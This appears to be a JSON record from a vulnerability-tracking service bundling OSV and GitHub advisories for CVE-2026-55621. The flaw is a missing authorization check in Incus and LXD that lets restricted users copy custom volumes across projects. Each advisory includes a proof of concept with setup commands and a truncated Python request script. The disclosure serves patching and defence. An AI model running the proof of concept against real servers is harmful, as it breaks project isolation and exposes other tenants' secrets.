{"vuln_id":"GHSA-64f3-v33m-w89f","aliases":["CVE-2026-55621"],"description":"Incus has a project restriction bypass for custom volume copy across projects","published_at":"2026-08-28T18:52:05Z","modified_at":"2026-11-21T05:15:44Z","first_seen_at":"2026-11-21T19:15:19.243919Z","severity":"high","severity_source":"ghsa","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cwe":["CWE-284"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-64f3-v33m-w89f"},"matched_alias":null,"items":[{"id":16673,"source":{"id":"osv","name":"OSV.dev"},"title":"GO-2026-6933: LXD has project restriction bypass for custom volume copy across projects in github.com/canonical/lxd","summary":"LXD has project restriction bypass for custom volume copy across projects in github.com/canonical/lxd\n\nAffected: Go:github.com/canonical/lxd\n\nFixed in: 0.0.0-20260630083100-c5184be310b1\n\nReferences:\nhttps://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx\nhttps://github.com/canonical/lxd/commit/8a4ed50ae855639d76021ba4bf26a50d7f2288fd\nhttps://github.com/canonical/lxd/commit/e2635a26957737ec4a77dc28dd7b84bd380881d6\nhttps://github.com/canonical/lxd/commit/eec1cf9504c18ad7c3c36ae0b62d21c05c25702c\nhttps://github.com/canonical/lxd/releases/tag/lxd-5.0.7\nhttps://github.com/canonical/lxd/releases/tag/lxd-5.21.5\nhttps://github.com/canonical/lxd/releases/tag/lxd-6.8\nhttps://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f","url":"https://osv.dev/vulnerability/GO-2026-6933","published_at":"2026-11-23T20:02:25Z","updated_at":"2026-11-23T20:30:11.292802Z","fetched_at":"2026-11-23T21:06:31.109663Z","severity":"high","cvss_score":7.7,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/canonical/lxd","vuln_id":"CVE-2026-55621","vuln_ids":["CVE-2026-55621","GHSA-64F3-V33M-W89F","GHSA-7MR3-28H5-M5VX","GO-2026-6933"],"tags":["osv","go","fix-available"],"cluster_id":14693,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/16673","html":"https://vulnwatch.ve1ve2.com/item/16673"}},{"id":16551,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-7mr3-28h5-m5vx: LXD has project restriction bypass for custom volume copy across projects","summary":"LXD has project restriction bypass for custom volume copy across projects\n\nReported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f\n\n### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nFrom my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nWe assume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-volume secret-vol --name copy-secret-vol \\\n    --pool default --source-pool default \\\n    --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req,\n\nAffected: Go:github.com/canonical/lxd\n\nFixed in: 0.0.0-20260630083100-c5184be310b1\n\nReferences:\nhttps://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx\nhttps://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-55621\nhttps://github.com/canonical/lxd/commit/8a4ed50ae855639d76021ba4bf26a50d7f2288fd\nhttps://github.com/canonical/lxd/commit/e2635a26957737ec4a77dc28dd7b84bd380881d6\nhttps://github.com/canonical/lxd/commit/eec1cf9504c18ad7c3c36ae0b62d21c05c25702c\nhttps://github.com/canonical/lxd\nhttps://github.com/canonical/lxd/releases/tag/lxd-5.0.7","url":"https://osv.dev/vulnerability/GHSA-7mr3-28h5-m5vx","published_at":"2026-11-06T19:51:16Z","updated_at":"2026-11-06T20:00:05.898208Z","fetched_at":"2026-11-23T21:06:31.109555Z","severity":"high","cvss_score":7.7,"epss":0.00415,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/canonical/lxd","vuln_id":"CVE-2026-55621","vuln_ids":["CVE-2026-55621","GHSA-64F3-V33M-W89F","GHSA-7MR3-28H5-M5VX"],"tags":["osv","go","fix-available"],"cluster_id":14693,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/16551","html":"https://vulnwatch.ve1ve2.com/item/16551"}},{"id":2275,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-64f3-v33m-w89f / CVE-2026-55621: Incus has a project restriction bypass for custom volume copy across projects","summary":"Incus has a project restriction bypass for custom volume copy across projects\n\n### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nAssume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n  - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n    --cert path/to/client.crt --key path/to/client.key \\\n    --target-project default --source-project secrets \\\n    --source-volume secret-vol --name copy-secret-vol \\\n    --pool default --source-pool default \\\n    --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n    ctx = ssl.create_default_context()\n    if insecure:\n        ctx.check_hostname = False\n        ctx.verify_mode = ssl.CERT_NONE\n    ctx.load_cert_chain(cert, key)\n    req = urllib.request.Request(\n        url.rstrip(\"/\") + path,\n        data=json.dumps(body).encode(),\n        method=\"POST\",\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    try:\n        with urllib.request.urlopen(req, context=ctx) as resp:\n            return resp.read()\n    except urllib.error.HTTPError as exc:\n        sys.\n\nAffected packages: go:github.com/lxc/incus, go:github.com/lxc/incus/v6, go:github.com/lxc/incus/v7\nPatched: github.com/lxc/incus/v7 7.2.0","url":"https://github.com/advisories/GHSA-64f3-v33m-w89f","published_at":"2026-08-28T18:52:05Z","updated_at":"2026-11-21T05:15:44Z","fetched_at":"2026-11-21T19:15:18.416713Z","severity":"high","cvss_score":7.7,"epss":0.00415,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"github.com/lxc/incus/v7","vuln_id":"CVE-2026-55621","vuln_ids":["CVE-2026-55621","GHSA-64F3-V33M-W89F"],"tags":["ghsa","go","CWE-284"],"cluster_id":1966,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2275","html":"https://vulnwatch.ve1ve2.com/item/2275"}}]}